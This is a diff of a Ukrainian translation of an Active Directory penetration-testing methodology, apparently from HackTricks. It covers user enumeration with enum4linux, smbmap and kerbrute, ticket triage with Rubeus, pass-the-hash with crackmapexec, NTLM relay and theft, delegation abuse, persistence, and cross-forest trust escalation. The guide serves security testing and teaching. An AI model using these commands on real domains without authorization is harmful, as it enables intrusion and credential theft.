- Ознайомтеся з Загальною [**Методологією Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md), щоб знайти більше інформації про те, як це зробити.
|
||||
- **Check for null and Guest access on smb services** (це не спрацює на сучасних версіях Windows):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
@ -69,14 +69,14 @@
|
||||
- Збирати облікові дані **викриваючи** [**підроблені UPnP сервіси з evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- Витягувати імена користувачів/імена з внутрішніх документів, соціальних мереж, сервісів (в основному веб) в межах доменних середовищ, а також з публічно доступних джерел.
|
||||
- Якщо ви знайдете повні імена працівників компанії, ви можете спробувати різні конвенції **імен користувачів AD** (**[читайте це**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Найбільш поширені конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3 літери з кожного), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _випадкові літери та 3 випадкові цифри_ (abc123).
|
||||
- Якщо ви знайдете повні імена працівників компанії, ви можете спробувати різні AD **конвенції імен користувачів** (**[читайте це](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Найбільш поширені конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3 літери з кожного), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _випадкові літери та 3 випадкові цифри_ (abc123).
|
||||
- Інструменти:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
|
||||
### User enumeration
|
||||
|
||||
- **Anonymous SMB/LDAP enum:** Перевірте [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) та [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) сторінки.
|
||||
- **Anonymous SMB/LDAP enum:** Перевірте сторінки [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) та [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Kerbrute enum**: Коли запитується **недійсне ім'я користувача**, сервер відповість, використовуючи **код помилки Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
@ -127,9 +127,9 @@ password-spraying.md
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### NTML Relay
|
||||
### NTML реле
|
||||
|
||||
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних адрес і краще розуміння мережі**. Ви можете спробувати примусити NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* для отримання доступу до середовища AD.
|
||||
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних адрес і краще розуміння мережі**. Ви можете спробувати примусити NTML [**реле атаки**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* для отримання доступу до середовища AD.
|
||||
|
||||
### Вкрасти NTLM креденціали
|
||||
|
||||
@ -141,7 +141,7 @@ password-spraying.md
|
||||
|
||||
## Перерахунок Active Directory ЗА допомогою облікових даних/сесії
|
||||
|
||||
Для цього етапу вам потрібно мати **компрометовані облікові дані або сесію дійсного облікового запису домену.** Якщо у вас є дійсні облікові дані або оболонка як користувача домену, **ви повинні пам'ятати, що варіанти, наведені раніше, все ще є варіантами для компрометації інших користувачів**.
|
||||
Для цього етапу вам потрібно мати **компрометовані облікові дані або сесію дійсного облікового запису домену.** Якщо у вас є дійсні облікові дані або оболонка як користувача домену, **пам'ятайте, що варіанти, наведені раніше, все ще є варіантами для компрометації інших користувачів**.
|
||||
|
||||
Перед початком аутентифікованого перерахунку ви повинні знати, що таке **проблема подвійного стрибка Kerberos.**
|
||||
|
||||
@ -156,7 +156,7 @@ kerberos-double-hop-problem.md
|
||||
Щодо [**ASREPRoast**](asreproast.md), ви тепер можете знайти кожного можливого вразливого користувача, а щодо [**Password Spraying**](password-spraying.md) ви можете отримати **список усіх імен користувачів** і спробувати пароль компрометованого облікового запису, порожні паролі та нові перспективні паролі.
|
||||
|
||||
- Ви можете використовувати [**CMD для виконання базової розвідки**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Ви також можете використовувати [**powershell для розвідки**](../basic-powershell-for-pentesters/), що буде менш помітно
|
||||
- Ви також можете використовувати [**powershell для розвідки**](../basic-powershell-for-pentesters/index.html), що буде менш помітно
|
||||
- Ви також можете [**використовувати powerview**](../basic-powershell-for-pentesters/powerview.md) для отримання більш детальної інформації
|
||||
- Інший чудовий інструмент для розвідки в Active Directory - це [**BloodHound**](bloodhound.md). Це **не дуже непомітно** (залежно від методів збору, які ви використовуєте), але **якщо вам це не важливо**, ви повинні обов'язково спробувати. Знайдіть, де користувачі можуть RDP, знайдіть шлях до інших груп тощо.
|
||||
- **Інші автоматизовані інструменти для перерахунку AD:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
@ -171,7 +171,7 @@ kerberos-double-hop-problem.md
|
||||
|
||||
Дуже легко отримати всі імена користувачів домену з Windows (`net user /domain`, `Get-DomainUser` або `wmic useraccount get name,sid`). У Linux ви можете використовувати: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` або `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
> Навіть якщо цей розділ перерахунку виглядає маленьким, це найважливіша частина всього. Перейдіть за посиланнями (в основному за посиланнями на cmd, powershell, powerview і BloodHound), дізнайтеся, як перерахувати домен, і практикуйтеся, поки не відчуєте себе комфортно. Під час оцінки це буде ключовий момент, щоб знайти свій шлях до DA або вирішити, що нічого не можна зробити.
|
||||
> Навіть якщо цей розділ перерахунку виглядає маленьким, це найважливіша частина всього. Перейдіть за посиланнями (в основному на cmd, powershell, powerview і BloodHound), навчіться, як перерахувати домен, і практикуйтеся, поки не відчуєте себе комфортно. Під час оцінки це буде ключовий момент, щоб знайти свій шлях до DA або вирішити, що нічого не можна зробити.
|
||||
|
||||
### Kerberoast
|
||||
|
||||
@ -191,11 +191,11 @@ kerberoast.md
|
||||
|
||||
Якщо ви компрометували облікові дані або сесію як звичайний користувач домену і маєте **доступ** з цим користувачем до **будь-якої машини в домені**, ви повинні спробувати знайти спосіб **підвищити привілеї локально та шукати облікові дані**. Це тому, що тільки з локальними привілеями адміністратора ви зможете **вивантажити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM).
|
||||
|
||||
У цій книзі є повна сторінка про [**підвищення локальних привілеїв у Windows**](../windows-local-privilege-escalation/) та [**контрольний список**](../checklist-windows-privilege-escalation.md). Також не забудьте використовувати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
У цій книзі є повна сторінка про [**підвищення локальних привілеїв у Windows**](../windows-local-privilege-escalation/index.html) та [**контрольний список**](../checklist-windows-privilege-escalation.md). Також не забудьте використовувати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
### Поточні сесійні квитки
|
||||
|
||||
Дуже **малоймовірно**, що ви знайдете **квитки** у поточного користувача, **які надають вам дозвіл на доступ** до несподіваних ресурсів, але ви можете перевірити:
|
||||
Дуже **малоймовірно**, що ви знайдете **квитки** у поточного користувача, **які надають вам доступ** до несподіваних ресурсів, але ви можете перевірити:
|
||||
```bash
|
||||
## List all tickets (if not admin, only current user tickets)
|
||||
.\Rubeus.exe triage
|
||||
@ -205,7 +205,7 @@ kerberoast.md
|
||||
```
|
||||
### NTML Relay
|
||||
|
||||
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних листів і краще розуміння мережі**. Ви можете змусити NTML [**атаки реле**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних листів та краще розуміння мережі**. Ви можете змусити NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### **Шукайте креденціали в загальних папках комп'ютера**
|
||||
|
||||
@ -215,7 +215,7 @@ kerberoast.md
|
||||
|
||||
### Вкрасти NTLM креденціали
|
||||
|
||||
Якщо ви можете **доступитися до інших ПК або загальних папок**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **викличуть NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM виклик** для його зламу:
|
||||
Якщо ви можете **доступитися до інших ПК або загальних папок**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **викличуть NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM challenge** для його зламу:
|
||||
|
||||
{{#ref}}
|
||||
../ntlm/places-to-steal-ntlm-creds.md
|
||||
@ -235,14 +235,14 @@ printnightmare.md
|
||||
|
||||
### Витягування хешів
|
||||
|
||||
Сподіваюся, вам вдалося **компрометувати деякий локальний адміністратор** обліковий запис, використовуючи [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) включаючи реле, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [підвищення привілеїв локально](../windows-local-privilege-escalation/).\
|
||||
Тоді настав час вивантажити всі хеші в пам'яті та локально.\
|
||||
Сподіваюся, вам вдалося **компрометувати деякий локальний обліковий запис адміністратора**, використовуючи [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) включаючи реле, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [підвищення привілеїв локально](../windows-local-privilege-escalation/index.html).\
|
||||
Тепер час вивантажити всі хеші в пам'яті та локально.\
|
||||
[**Прочитайте цю сторінку про різні способи отримання хешів.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Pass the Hash
|
||||
|
||||
**Якщо у вас є хеш користувача**, ви можете використовувати його для **імітуювання** його.\
|
||||
Вам потрібно використовувати якийсь **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** всередину **LSASS**, так що коли будь-яка **NTLM аутентифікація виконується**, цей **хеш буде використано.** Останній варіант - це те, що робить mimikatz.\
|
||||
Вам потрібно використовувати якийсь **інструмент**, який **виконає** **NTLM аутентифікацію, використовуючи** цей **хеш**, **або** ви можете створити новий **sessionlogon** і **впровадити** цей **хеш** в **LSASS**, так що коли будь-яка **NTLM аутентифікація виконується**, цей **хеш буде використаний.** Останній варіант - це те, що робить mimikatz.\
|
||||
[**Прочитайте цю сторінку для отримання додаткової інформації.**](../ntlm/index.html#pass-the-hash)
|
||||
|
||||
### Over Pass the Hash/Pass the Key
|
||||
@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
|
||||
|
||||
### Pass the Ticket
|
||||
|
||||
У методі атаки **Pass The Ticket (PTT)** зловмисники **вкрадають аутентифікаційний квиток користувача** замість їх пароля або значень хешу. Цей вкрадений квиток потім використовується для **імітуювання користувача**, отримуючи несанкціонований доступ до ресурсів і послуг у мережі.
|
||||
У методі атаки **Pass The Ticket (PTT)** зловмисники **вкрадають квиток аутентифікації користувача** замість їх пароля або значень хешу. Цей вкрадений квиток потім використовується для **імітуювання користувача**, отримуючи несанкціонований доступ до ресурсів і послуг у мережі.
|
||||
|
||||
{{#ref}}
|
||||
pass-the-ticket.md
|
||||
@ -275,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
||||
### Зловживання MSSQL та Довірені Посилання
|
||||
|
||||
Якщо користувач має привілеї для **доступу до екземплярів MSSQL**, він може використовувати це для **виконання команд** на хості MSSQL (якщо працює як SA), **викрадення** хешу NetNTLM або навіть виконання **атаки** **реле**.\
|
||||
Також, якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо користувач має привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довірчі відносини можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.\
|
||||
Також, якщо екземпляр MSSQL є довіреним (посилання на базу даних) іншим екземпляром MSSQL. Якщо користувач має привілеї над довіреною базою даних, він зможе **використовувати довірчі відносини для виконання запитів також в іншому екземплярі**. Ці довіри можуть бути з'єднані, і в якийсь момент користувач може знайти неправильно налаштовану базу даних, де він може виконувати команди.\
|
||||
**Зв'язки між базами даних працюють навіть через довіри лісу.**
|
||||
|
||||
{{#ref}}
|
||||
@ -294,8 +294,8 @@ unconstrained-delegation.md
|
||||
|
||||
### Контрольована Делегація
|
||||
|
||||
Якщо користувач або комп'ютер дозволено для "Контрольованої Делегації", він зможе **видавати себе за будь-якого користувача для доступу до деяких служб на комп'ютері**.\
|
||||
Тоді, якщо ви **скомпрометуєте хеш** цього користувача/комп'ютера, ви зможете **видавати себе за будь-якого користувача** (навіть доменних адміністраторів) для доступу до деяких служб.
|
||||
Якщо користувач або комп'ютер дозволено для "Контрольованої Делегації", він зможе **видавати себе за будь-якого користувача для доступу до деяких сервісів на комп'ютері**.\
|
||||
Тоді, якщо ви **скомпрометуєте хеш** цього користувача/комп'ютера, ви зможете **видавати себе за будь-якого користувача** (навіть доменних адміністраторів) для доступу до деяких сервісів.
|
||||
|
||||
{{#ref}}
|
||||
constrained-delegation.md
|
||||
@ -303,7 +303,7 @@ constrained-delegation.md
|
||||
|
||||
### Делегація на основі ресурсів
|
||||
|
||||
Маючи привілей **WRITE** на об'єкт Active Directory віддаленого комп'ютера, ви отримуєте можливість виконання коду з **підвищеними привілеями**:
|
||||
Маючи привілей **WRITE** на об'єкт Active Directory віддаленого комп'ютера, можна отримати виконання коду з **підвищеними привілеями**:
|
||||
|
||||
{{#ref}}
|
||||
resource-based-constrained-delegation.md
|
||||
@ -317,7 +317,7 @@ resource-based-constrained-delegation.md
|
||||
acl-persistence-abuse/
|
||||
{{#endref}}
|
||||
|
||||
### Зловживання службою спулера принтерів
|
||||
### Зловживання службою спулера принтера
|
||||
|
||||
Виявлення **служби спулера**, що слухає в домені, може бути **зловжито** для **отримання нових облікових даних** та **ескалації привілеїв**.
|
||||
|
||||
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### LAPS
|
||||
|
||||
**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, що приєднані до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми правами для доступу до цих паролів стає можливим перемикання на інші комп'ютери.
|
||||
**LAPS** забезпечує систему для управління **паролем локального адміністратора** на комп'ютерах, приєднаних до домену, забезпечуючи його **випадковість**, унікальність та часту **зміну**. Ці паролі зберігаються в Active Directory, а доступ контролюється через ACL лише для авторизованих користувачів. З достатніми правами для доступу до цих паролів стає можливим переміщення до інших комп'ютерів.
|
||||
|
||||
{{#ref}}
|
||||
laps.md
|
||||
@ -344,7 +344,7 @@ laps.md
|
||||
|
||||
### Крадіжка Сертифікатів
|
||||
|
||||
**Збирання сертифікатів** з скомпрометованої машини може бути способом ескалації привілеїв у середовищі:
|
||||
**Збір сертифікатів** з скомпрометованої машини може бути способом ескалації привілеїв у середовищі:
|
||||
|
||||
{{#ref}}
|
||||
ad-certificates/certificate-theft.md
|
||||
@ -368,7 +368,7 @@ ad-certificates/domain-escalation.md
|
||||
|
||||
[**Більше інформації про те, як вкрасти NTDS.dit можна знайти тут**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
|
||||
|
||||
### Привілеї як Постійність
|
||||
### Privesc як Постійність
|
||||
|
||||
Деякі з технік, обговорених раніше, можуть бути використані для постійності.\
|
||||
Наприклад, ви могли б:
|
||||
@ -449,7 +449,7 @@ dsrm-credentials.md
|
||||
|
||||
### Постійність ACL
|
||||
|
||||
Ви можете **надати** деякі **спеціальні привілеї** **користувачу** над деякими конкретними об'єктами домену, які дозволять користувачу **ескалювати привілеї в майбутньому**.
|
||||
Ви можете **надати** деякі **спеціальні дозволи** **користувачу** над деякими конкретними об'єктами домену, які дозволять користувачу **ескалювати привілеї в майбутньому**.
|
||||
|
||||
{{#ref}}
|
||||
acl-persistence-abuse/
|
||||
@ -457,7 +457,7 @@ acl-persistence-abuse/
|
||||
|
||||
### Описники Безпеки
|
||||
|
||||
**Описники безпеки** використовуються для **зберігання** **привілеїв**, які має **об'єкт** **над** **об'єктом**. Якщо ви можете просто **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви можете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи.
|
||||
**Описники безпеки** використовуються для **зберігання** **дозволів**, які має **об'єкт** **над** іншим **об'єктом**. Якщо ви зможете **зробити** **невелику зміну** в **описнику безпеки** об'єкта, ви зможете отримати дуже цікаві привілеї над цим об'єктом без необхідності бути членом привілейованої групи.
|
||||
|
||||
{{#ref}}
|
||||
security-descriptors.md
|
||||
@ -513,37 +513,37 @@ Microsoft розглядає **Ліс** як межу безпеки. Це оз
|
||||
1. **Клієнтський комп'ютер** в **Домені 1** починає процес, використовуючи свій **NTLM хеш** для запиту **Квитка на Надання Квитків (TGT)** у свого **Контролера Домену (DC1)**.
|
||||
2. DC1 видає новий TGT, якщо клієнт успішно аутентифікований.
|
||||
3. Клієнт потім запитує **квиток TGT між царствами** у DC1, який потрібен для доступу до ресурсів у **Домені 2**.
|
||||
4. Квиток TGT між царствами шифрується **ключем довіри**, спільним між DC1 та DC2 в рамках двосторонньої довіри домену.
|
||||
4. Квиток TGT між царствами шифрується за допомогою **ключа довіри**, спільного між DC1 та DC2 в рамках двосторонньої довіри домену.
|
||||
5. Клієнт приносить квиток TGT між царствами до **Контролера Домену 2 (DC2)**.
|
||||
6. DC2 перевіряє квиток TGT між царствами, використовуючи свій спільний ключ довіри, і, якщо він дійсний, видає **Квиток на Надання Послуг (TGS)** для сервера в Домені 2, до якого клієнт хоче отримати доступ.
|
||||
7. Нарешті, клієнт представляє цей TGS серверу, який зашифрований хешем облікового запису сервера, щоб отримати доступ до служби в Домені 2.
|
||||
|
||||
### Різні довіри
|
||||
|
||||
Важливо помітити, що **довіра може бути односторонньою або двосторонньою**. У двосторонньому варіанті обидва домени довіряють один одному, але в **односторонній** довірі один з доменів буде **довіреним**, а інший - **доверяючим**. У останньому випадку **ви зможете отримати доступ до ресурсів лише всередині довірчого домену з довіреного**.
|
||||
Важливо помітити, що **довіра може бути односторонньою або двосторонньою**. У двосторонньому варіанті обидва домени довіряють один одному, але в **односторонній** довірчій відносині один з доменів буде **довіреним**, а інший - **доверяючим**. У останньому випадку **ви зможете отримати доступ до ресурсів лише всередині довірчого домену з довіреного.**
|
||||
|
||||
Якщо Домен A довіряє Домену B, A є довірчий доменом, а B - довіреним. Більше того, у **Домені A** це буде **вихідна довіра**; а в **Домені B** це буде **вхідна довіра**.
|
||||
Якщо Домен A довіряє Домену B, A є довірчий домен, а B - довірений. Більше того, у **Домені A** це буде **вихідна довіра**; а в **Домені B** це буде **вхідна довіра**.
|
||||
|
||||
**Різні довірчі відносини**
|
||||
|
||||
- **Довіри Батьків-Дітей**: Це звичайна налаштування в межах одного лісу, де дитячий домен автоматично має двосторонню транзитивну довіру з батьківським доменом. Це означає, що запити на аутентифікацію можуть проходити безперешкодно між батьком і дитиною.
|
||||
- **Перехресні Довіри**: Відомі як "скорочені довіри", вони встановлюються між дитячими доменами для прискорення процесів посилання. У складних лісах запити на аутентифікацію зазвичай повинні подорожувати до кореня лісу, а потім вниз до цільового домену. Створюючи перехресні зв'язки, подорож скорочується, що особливо корисно в географічно розподілених середовищах.
|
||||
- **Зовнішні Довіри**: Вони встановлюються між різними, несвязаними доменами і за своєю природою є нетранзитивними. Згідно з [документацією Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), зовнішні довіри корисні для доступу до ресурсів у домені поза поточним лісом, який не підключений через довіру лісу. Безпека посилюється через фільтрацію SID з зовнішніми довірами.
|
||||
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим доданим коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальне ім'я домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Довіри Кореня Дерева**: Ці довіри автоматично встановлюються між кореневим доменом лісу та новим коренем дерева. Хоча їх не часто зустрічають, довіри кореня дерева важливі для додавання нових доменних дерев до лісу, дозволяючи їм зберігати унікальне ім'я домену та забезпечуючи двосторонню транзитивність. Більше інформації можна знайти в [посібнику Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **Довіри Лісу**: Цей тип довіри є двосторонньою транзитивною довірою між двома кореневими доменами лісу, також забезпечуючи фільтрацію SID для підвищення заходів безпеки.
|
||||
- **Довіри MIT**: Ці довіри встановлюються з не-Windows, [RFC4120-сумісними](https://tools.ietf.org/html/rfc4120) доменами Kerberos. Довіри MIT є дещо більш спеціалізованими і призначені для середовищ, які потребують інтеграції з системами на основі Kerberos поза екосистемою Windows.
|
||||
|
||||
#### Інші відмінності в **довірчих відносинах**
|
||||
|
||||
- Довірчі відносини також можуть бути **транзитивними** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивними**.
|
||||
- Довірчі відносини можуть бути налаштовані як **двостороння довіра** (обидва довіряють один одному) або як **одностороння довіра** (лише один з них довіряє іншому).
|
||||
- Довірча відносина також може бути **транзитивною** (A довіряє B, B довіряє C, тоді A довіряє C) або **нетранзитивною**.
|
||||
- Довірча відносина може бути налаштована як **двостороння довіра** (обидва довіряють один одному) або як **одностороння довіра** (лише один з них довіряє іншому).
|
||||
|
||||
### Шлях Атаки
|
||||
|
||||
1. **Перелічити** довірчі відносини
|
||||
2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або через членство в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно).
|
||||
2. Перевірте, чи має будь-який **суб'єкт безпеки** (користувач/група/комп'ютер) **доступ** до ресурсів **іншого домену**, можливо, через записи ACE або будучи в групах іншого домену. Шукайте **відносини між доменами** (довіра була створена для цього, напевно).
|
||||
1. У цьому випадку kerberoast може бути ще одним варіантом.
|
||||
3. **Скомпрометувати** **облікові записи**, які можуть **перемикатися** між доменами.
|
||||
3. **Скомпрометувати** **облікові записи**, які можуть **переміщатися** між доменами.
|
||||
|
||||
Зловмисники можуть отримати доступ до ресурсів в іншому домені через три основні механізми:
|
||||
|
||||
@ -564,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM
|
||||
WhenChanged : 2/19/2021 1:28:00 PM
|
||||
```
|
||||
> [!WARNING]
|
||||
> Є **2 довірених ключі**, один для _Child --> Parent_ і інший для _Parent_ --> _Child_.\
|
||||
> Є **2 довірених ключі**, один для _Child --> Parent_ і ще один для _Parent_ --> _Child_.\
|
||||
> Ви можете використовувати той, що використовується поточним доменом, з:
|
||||
>
|
||||
> ```bash
|
||||
@ -582,11 +582,11 @@ sid-history-injection.md
|
||||
|
||||
#### Використання записуваного Configuration NC
|
||||
|
||||
Розуміння того, як можна експлуатувати Configuration Naming Context (NC), є критично важливим. Configuration NC слугує центральним репозиторієм для конфігураційних даних у лісі в середовищах Active Directory (AD). Ці дані реплікуються на кожен Контролер Домену (DC) у лісі, причому записувані DC підтримують записувану копію Configuration NC. Щоб це експлуатувати, потрібно мати **SYSTEM привілеї на DC**, бажано на дочірньому DC.
|
||||
Розуміння того, як можна експлуатувати Configuration Naming Context (NC), є критично важливим. Configuration NC слугує центральним репозиторієм для конфігураційних даних у лісі в середовищах Active Directory (AD). Ці дані реплікуються на кожен Контролер Домену (DC) у лісі, при цьому записувані DC підтримують записувану копію Configuration NC. Щоб це експлуатувати, потрібно мати **SYSTEM привілеї на DC**, бажано на дочірньому DC.
|
||||
|
||||
**Прив'язка GPO до кореневого сайту DC**
|
||||
|
||||
Контейнер Sites Configuration NC містить інформацію про всі сайти комп'ютерів, приєднаних до домену, у лісі AD. Працюючи з привілеями SYSTEM на будь-якому DC, зловмисники можуть прив'язувати GPO до кореневих сайтів DC. Ця дія потенційно компрометує кореневий домен, маніпулюючи політиками, що застосовуються до цих сайтів.
|
||||
Контейнер Sites Configuration NC містить інформацію про всі сайти комп'ютерів, приєднаних до домену, у лісі AD. Працюючи з привілеями SYSTEM на будь-якому DC, зловмисники можуть прив'язувати GPO до кореневих сайтів DC. Ця дія потенційно компрометує кореневий домен, маніпулюючи політиками, які застосовуються до цих сайтів.
|
||||
|
||||
Для детальної інформації можна дослідити матеріали про [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
|
||||
|
||||
@ -604,7 +604,7 @@ sid-history-injection.md
|
||||
|
||||
**Від DA до EA з ADCS ESC5**
|
||||
|
||||
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI), щоб створити шаблон сертифіката, який дозволяє аутентифікацію як будь-який користувач у лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
|
||||
Уразливість ADCS ESC5 націлюється на контроль над об'єктами Інфраструктури відкритих ключів (PKI) для створення шаблону сертифіката, який дозволяє автентифікацію як будь-якого користувача в лісі. Оскільки об'єкти PKI знаходяться в Configuration NC, компрометація записуваного дочірнього DC дозволяє виконувати атаки ESC5.
|
||||
|
||||
Більше деталей про це можна прочитати в [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). У сценаріях, де немає ADCS, зловмисник має можливість налаштувати необхідні компоненти, як обговорюється в [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
|
||||
|
||||
@ -639,16 +639,16 @@ WhenChanged : 2/19/2021 10:15:24 PM
|
||||
```
|
||||
У цьому сценарії **ваш домен** **довіряє** деяким **привілеям** принципу з **інших доменів**.
|
||||
|
||||
Однак, коли **домен довіряється** довіреним доменом, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **довірений пароль**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити привілеї:
|
||||
Однак, коли **домен довіряється** довіреним доменом, довірений домен **створює користувача** з **передбачуваним ім'ям**, який використовує **пароль довіреного пароля**. Це означає, що можливо **отримати доступ до користувача з довіреного домену, щоб потрапити всередину довіреного** для його перерахунку та спроби підвищити більше привілеїв:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-one-way-outbound.md
|
||||
{{#endref}}
|
||||
|
||||
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довірчих доменів (що не є дуже поширеним).
|
||||
Ще один спосіб скомпрометувати довірений домен - це знайти [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links), створений у **протилежному напрямку** довіреності домену (що не є дуже поширеним).
|
||||
|
||||
Ще один спосіб скомпрометувати довірений домен - це чекати на машині, де **користувач з довіреного домену може отримати доступ** для входу через **RDP**. Тоді зловмисник може впровадити код у процес сесії RDP і **отримати доступ до вихідного домену жертви** звідти.\
|
||||
Більше того, якщо **жертва підключила свій жорсткий диск**, з процесу **сесії RDP** зловмисник може зберігати **бекдори** у **папці автозавантаження жорсткого диска**. Цю техніку називають **RDPInception.**
|
||||
